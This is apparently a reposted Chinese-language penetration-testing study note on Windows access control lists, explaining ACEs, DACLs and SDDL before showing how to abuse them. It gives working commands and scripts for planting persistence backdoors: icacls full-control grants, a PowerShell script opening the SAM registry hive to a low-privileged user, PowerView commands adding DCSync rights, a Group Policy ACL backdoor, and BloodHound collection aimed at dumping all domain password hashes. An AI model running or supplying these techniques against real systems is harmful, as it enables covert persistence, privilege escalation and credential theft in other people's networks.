Windows下的Access Control List


前言:對之前的https://www.cnblogs.com/zpchcbd/p/12374668.html再進行學習一次

參考文章:https://3gstudent.github.io/3gstudent.github.io/滲透技巧-Windows下的Access-Control-List/
參考文章:https://xz.aliyun.com/t/7724#toc-9
參考文章:https://www.freebuf.com/sectool/179002.html

ACL的介紹:

ACL:Access Control List,用來表示用戶(組)權限的列表,包括DACL和SACL

ACE:Access Control Entry,ACL中的元素

DACL:Discretionary Access Control List,用來表示安全對象權限的列表

SACL:System Access Control List,用來記錄對安全對象訪問的日志

如何理解?

ACE:可以理解 當前安全對象的限制,一個用戶/用戶組對該安全對象的 是否可讀 是否可寫,那么此時ACE就是可讀 可寫這兩個東西

DACL:可以理解對 當前安全對象的限制,比如 a用戶/用戶組對該安全對象的XXX權限 b用戶/用戶組對該安全對象的XXX權限,那么此時DACL則為兩條數目

例如對某個文件進行訪問,系統將做以下判斷:

如果沒有DACL,系統將允許訪問,可以理解為任何的用戶/用戶組都沒有限制,那么也就是什么都能干

如果存在DACL,但沒有ACE,系統將拒絕所有訪問 可以理解為存在對a用戶/用戶組的限制,但是沒有ACE,也就是不允許任何操作,那么也就是什么都不能干

如果存在DACL,也存在ACE,那么會按照每個ACE指定允許或拒絕 可以理解為存在對a用戶/用戶組的限制,但是有ACE,也就是對應的ACE都可以進行操作,不存在的ACE則不可以進行操作

還需要知道的:ACE並不是單方面的允許/拒絕,允許和拒絕的權限都可以由ACE來進行表示,所以ACE還可以細分:

1、誰對你有權限
2、是允許還是拒絕
3、有什么權限
4、這個權限能不能被繼承

ACL的表現方式:

存儲位置 nTSecurityDescriptor

存儲格式 SDDL(Security Descriptor Definition Language)

SDDL(
      A; ACE類型(允許/拒絕/審核)
      CIID; ACE標志(繼承和審核設置)
      GW; 權限(增量權限列表)
      00299570-246d-11d0-a768-00aa006e0529; 對象類型(GUID)
      ; 繼承的對象類型(GUID)
      S-1-5-21-1812960810-2335050734-3517558805-1103 受托人SID
)

拿上面的講下,查詢了A用戶的nTSecurityDescriptor,SDDL為如上,其中最后一個是委托人SID,一般這個都是指向其他用戶的,比如B用戶,那么這條SDDL表示 B用戶對A用戶有00299570-246d-11d0-a768-00aa006e0529的權限,00299570-246d-11d0-a768-00aa006e0529實際上的權限是能夠強制修改密碼,那么相當於B用戶就能控制A用戶

哪里會用到ACL:

Windows訪問控制模型中會用到ACL,比如文件、注冊表的權限都包括ACL,用來表示哪些用戶(組)具有操作權限

如何查看文件、注冊表的權限對應的ACL:

這里就需要用到icacls了,這個工具是windows自帶的

注:(OI)代表對象繼承 (CI)代表容器繼承 (F)代表完全訪問

1、添加用戶test1對指定文件(包括當前目錄及其子目錄中的文件)的完全訪問權限(添加后門利器)

icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t

2、備份指定文件(包括當前目錄及其子目錄中的文件)的ACL

icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t

3、還原指定文件(包括當前目錄及其子目錄中的文件)的ACL

這里需要注意的細節: 還原時,路徑需要設置為上級目錄

icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t

4、移除用戶test1對指定文件(包括當前目錄及其子目錄中的文件)的完全訪問權限

icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t

非域的環境下,ACL可以如何利用?

權限維持:添加普通用戶的完全訪問權限,作為提權后門

1、比如一些需要高權限才能進行dll劫持的文件夾,比如Google的更新程序,來到更新程序的目錄下進行設置權限

icacls Update /grant everyone:f

2、注冊表的利用,正常高權限才能導出sam數據庫進行解密獲取hash值,權限維持也可以在這方面下手

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"apache"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl

3、注冊表/路徑的ACL利用,正常高權限的啟動項才能寫,權限維持也可以在這方面下手

域環境下,ACL可以如何利用?

域和ACL的關系圖如下:

1、DCSync后門

使用的是PowerView腳本

添加ACL Add-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync

刪除ACL Remove-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync

添加完ACL可以可以進行查看指定用戶的DACL,看看是怎么樣的,多了三個DACL!

2、在域控中添加GPO后門,也就是對對應的組策略的編號ScheduledTasks.xml的command標簽內容進行修改,到時候域中的機器進行自動更新組策略的時候會應用

該GroupPolicy模塊自己發現只有在域控中有,其他域機器默認是沒有的

Import-Module GroupPolicy
Get-GPO -All

添加用戶test1對TestGPO的完全訪問權限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO' #這里填寫你的創建的組策略的名稱
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right #這里填寫你的用戶名
AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

查看DACL可以發現如下:

3、ACL配置不當造成的域提權

4、創建ntds.dit的文件共享,添加ACL,后續可以使用域內普通用戶訪問域控制器的ntds.dit文件,讀取域內所有用戶的hash

域中BloodHound的使用:

用來采集域內ACL的工具:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

采集完之后可以導入BloodHound進行分析

我這里把SharpHound.exe放入一台普通的域機器中

程序是需要.net支持的,2012的機器上自帶.net4.0

執行:SharpHound.exe -c all

將生成的文件下載到本地,打開BloodHound進行導入操作

拿起剛才我們給yuyonghu01設置的DCSync的權限,我們可以在BloodHound中觀察到

那么之后就可以繼續定位到yuyonghu01的機器,對當前該機器進行攻擊拿下之后憑借DCSync的權限導出域哈希!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM